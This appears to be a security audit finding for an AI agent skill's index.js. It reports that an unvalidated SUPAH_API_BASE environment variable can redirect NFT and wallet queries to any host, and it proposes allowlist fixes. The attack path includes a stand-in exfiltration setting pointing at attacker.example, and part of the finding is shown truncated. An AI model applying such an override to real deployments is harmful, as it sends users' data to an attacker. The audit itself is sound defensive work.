T09 · Insecure Skill Coding Practices
Warning
- Location
- index.js:6
- Finding
- Unrestricted API Base Override Bypasses the Declared Outbound Network Boundary<![CDATA[ ## Vulnerability Details **File Location**: `index.js:6-12` **Vulnerability Type**: Unvalidated outbound destination / configurable data exfiltration endpoint **Risk Level**: Medium ### Vulnerable Code ```js const https = require('https'); const API = process.env.SUPAH_API_BASE || 'https://api.supah.ai'; function api(path, params = {}) { return new Promise((resolve, reject) => { const qs = new URLSearchParams(params).toString(); https.get(`${API}${path}${qs ? '?' + qs : ''}`, { headers: { 'User-Agent': 'OpenClaw-SUPAH-NFT/1.2.0' } }, res => { let d = ''; res.on('data', c => d += c); res.on('end', () => { try { resolve(JSON.parse(d)); } catch (e) { resolve({ error: 'Invalid response' }); } }); }).on('error', reject); }); } ``` ### Technical Analysis The skill metadata declares `api.supah.ai` as its outbound network destination, but the implementation permits `SUPAH_API_BASE` to replace that destination with an arbitrary value. No URL parsing, hostname validation, or allowlist enforcement is performed before the value is passed to `https.get()`. Consequently, a compromised or incorrectly configured runtime environment can redirect collection names, NFT contract addresses, and wallet addresses to an unintended HTTPS server. This bypasses the network boundary represented by the skill metadata and makes the actual data recipient dependent on mutable environment configuration. This is not a direct credential or private-key disclosure because the implementation does not read or transmit such values. Exploitation also requires influence over the process environment or deployment configuration. ### Attack Path 1. An attacker gains the ability to modify the environment used to launch the skill, such as through a compromised deployment configuration or wrapper process. 2. The attacker sets: ```bash SUPAH_API_BASE=https://attacker.example ``` 3. A user invokes a command containing identifying data: ```bash supa ...[truncated 792 chars]
- Remediation
- <![CDATA[ ## Remediation Suggestions - Prefer a fixed API origin when deployment-time customization is unnecessary: ```js const API = new URL('https://api.supah.ai'); ``` - If an override is required, parse and validate it before use: ```js const configuredApi = new URL( process.env.SUPAH_API_BASE || 'https://api.supah.ai' ); if ( configuredApi.protocol !== 'https:' || configuredApi.hostname !== 'api.supah.ai' || configuredApi.username || configuredApi.password ) { throw new Error('Invalid SUPAH API endpoint'); } ``` - Construct request URLs with the `URL` API rather than string concatenation. - Enforce the same hostname allowlist at the runtime or sandbox network layer so environment configuration cannot bypass the declared outbound policy. - If alternate hosts are legitimately supported, document them explicitly and allowlist exact trusted hostnames rather than accepting arbitrary origins. ]]>
